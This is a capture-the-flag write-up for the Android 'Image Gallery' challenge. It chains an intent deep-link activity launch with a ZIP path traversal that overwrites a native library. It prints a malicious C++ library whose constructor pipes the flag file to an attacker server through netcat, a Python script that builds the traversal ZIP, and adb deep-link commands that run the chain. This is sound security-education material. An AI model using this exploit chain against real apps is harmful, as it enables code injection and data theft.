Image Gallery
- Category: Mobile
- 490 points
- Solved by JCTF Team
Description

Solution
Challenge Overview
The "Image Gallery" challenge was presented with an Android application (APK) and a URL pointing to a web page. The web page featured a form, and a URL submitted via this form would then be visited by an internal bot.

APK Analysis
Upon decompiling the com.appsecil.imagegallery package, three key activities were identified:
MainActivity: This activity'sonCreatemethod is responsible for callingUtils.prepareResources, and an attempt to handleappsecildeep links via aredirectfunction is made. After these initial operations, a layout is drawn with a button that, when clicked, causes theImageGalleryActivityto be loaded.ImageGalleryActivity: Its primary function is to load and display images from theIMAGE_DIR. Crucially, thelibimgcheck.sonative library is dynamically loaded fromLIB_DIRwhen theImgCheckconstructor is invoked by this activity.ZipGalleryActivity: This activity is designed so that a ZIP file can be downloaded from a user-controlled server, and its contents are then attempted to be extracted into theIMAGE_DIRfolder.
A deeper dive into the Utils.prepareResources function revealed that its two main tasks are, first, copying native libraries from the application's resources to LIB_DIR, and second, copying initial image assets to IMAGE_DIR.
The redirect function, responsible for handling appsecil deep links, parses the url query parameter as an Android Intent URI, and the activity specified by that intent is subsequently started. This mechanism immediately raised a red flag, indicating that a potential for arbitrary activity launching was present.
The Vulnerabilities
The successful exploitation of this challenge relied on the chaining of two distinct vulnerabilities:
Arbitrary Activity Launch via Deep Link: The
redirectfunction's ability to parse an arbitraryIntentURI from theappsecildeep link'surlparameter allows any activity within thecom.appsecil.imagegallerypackage to be launched by an attacker. This is considered a critical primitive for controlling application flow.Path Traversal during ZIP Extraction Combined with Insecure File Overwriting: This constituted the core of the exploit. A crucial difference in how file paths are handled between
ZipGalleryActivity's ZIP extraction andUtils.prepareResources's image copying was observed:Unzip.extract(called byZipGalleryActivity): When files are extracted from a ZIP archive,new File(destDir, zipentry.getName())is used. This method causeszipentry.getName()to be interpreted literally. Therefore, if a ZIP entry is named../lib/arm64-v8a/libimgcheck.so, a file with this exact literal name (including the../path traversal components) will be created directly within theIMAGE_DIRfolder.Utils.copySeedImages(called byUtils.prepareResources): In contrast, this function causes files inIMAGE_DIRto be iterated through. For each filename, the path is appended toIMAGE_DIRusingPaths.join. This means that a file literally named../lib/arm64-v8a/libimgcheck.sowithinIMAGE_DIRwill be correctly resolved aslib/arm64-v8a/libimgcheck.sorelative to the application's internal files directory. This behavior leads to a critical overwrite: the malicious file with the literal name../lib/arm64-v8a/libimgcheck.so(created by the ZIP extraction) will be copied and effectively overwrite the legitimatelibimgcheck.soshared object file located inlib/arm64-v8a/whenUtils.prepareResourcesis called.
Note: the vulnerability is not exploitable in Android 14+ as zipentry.getName() will throw an error if the file name starts with / or contains ...
Crafting the Exploit
Malicious Shared Object
The goal was the exfiltration of the flag. For this, a simple C++ Android native library (native-lib.cpp) was created, which executes a shell command to read the flag and send it to an attacker-controlled server. The __attribute__((constructor)) ensures that the code is run immediately when the library is loaded.
#include <string>
#include <unistd.h>
#include <cstdlib>
void __attribute__ ((constructor)) doit() {
if (fork() == 0) {
system("cat /data/data/com.appsecil.imagegallery/files/img/flag.png | nc <attacker server> 9999");
}
}After this project was built, the libmyapplication.so library for the relevant architecture (e.g., arm64-v8a) was extracted.
Malicious ZIP File Creation
Next, a specially crafted ZIP file that would exploit the path traversal vulnerability needed to be created. This Python script demonstrates how this can be achieved:
import zipfile
import os
ARCH = "arm64-v8a" # "x86_64"
zip_filename = "lol.zip"
source_lib_path = f"lib/{ARCH}/libmyapplication.so"
archive_name = f"../lib/{ARCH}/libimgcheck.so"
with zipfile.ZipFile(zip_filename, "w", zipfile.ZIP_DEFLATED) as zf:
zf.write(source_lib_path, arcname=archive_name)
This lol.zip file, when extracted by ZipGalleryActivity, will cause a file literally named ../lib/arm64-v8a/libimgcheck.so to be created inside IMAGE_DIR. This ZIP file must be hosted on an HTTPS web server.
Exploit Chain Execution
The final step involves the orchestration of the execution using a sequence of appsecil deep links. This can be accomplished via adb or by submitting these deep links through the provided web form.
ZipGalleryActivityis triggered to download and extract the malicious ZIP:This intent points to the hosted
lol.zip. TheZipGalleryActivitywill cause it to be downloaded and its contents to be extracted, resulting in the creation of the maliciouslibimgcheck.sowith the path traversal components inIMAGE_DIR../adb.exe shell am start -W -a android.intent.action.VIEW -d "appsecil://localhost?url=intent%3A%23Intent%3Bcomponent%3Dcom%2Eappsecil%2Eimagegallery%2F%2EZipGalleryActivity%3BS%2Eurl%3Dhttps%3A%2F%2F<redacted.com>%2Flol%2Ezip%3Bend" com.appsecil.imagegallery
MainActivityis triggered to overwrite the legitimatelibimgcheck.so:By launching
MainActivity,Utils.prepareResourcesis called. This function will now causeIMAGE_DIRto be iterated through, the maliciously named file to be found, and it to be copied to the correctlib/arm64-v8a/libimgcheck.sopath, effectively causing the original library to be overwritten with the malicious one../adb.exe shell am start -W -a android.intent.action.VIEW -d "appsecil://localhost?url=intent%3A%23Intent%3Bcomponent%3Dcom%2Eappsecil%2Eimagegallery%2F%2EMainActivity%3B" com.appsecil.imagegallery
ImageGalleryActivityis triggered to load the compromisedlibimgcheck.so:Finally,
ImageGalleryActivityis launched. When it attempts to loadlibimgcheck.so, the modified library will now be loaded, triggering the constructor function (doit()), which then causes the command to exfiltrate the flag to be executed../adb.exe shell am start -W -a android.intent.action.VIEW -d "appsecil://localhost?url=intent%3A%23Intent%3Bcomponent%3Dcom%2Eappsecil%2Eimagegallery%2F%2EImageGalleryActivity%3B" com.appsecil.imagegallery
To obtain the flag, a netcat listener would be set up on the attacker machine (e.g., nc -lvnp 9999 > flag.png), and the three adb commands would then be executed in sequence. Remotely, the first deep link (to ZipGalleryActivity) would be submitted via the challenge's web form, and the bot's subsequent actions (likely triggering MainActivity and ImageGalleryActivity internally after processing the initial request) would complete the exploit chain, causing the flag to be sent to the listening server.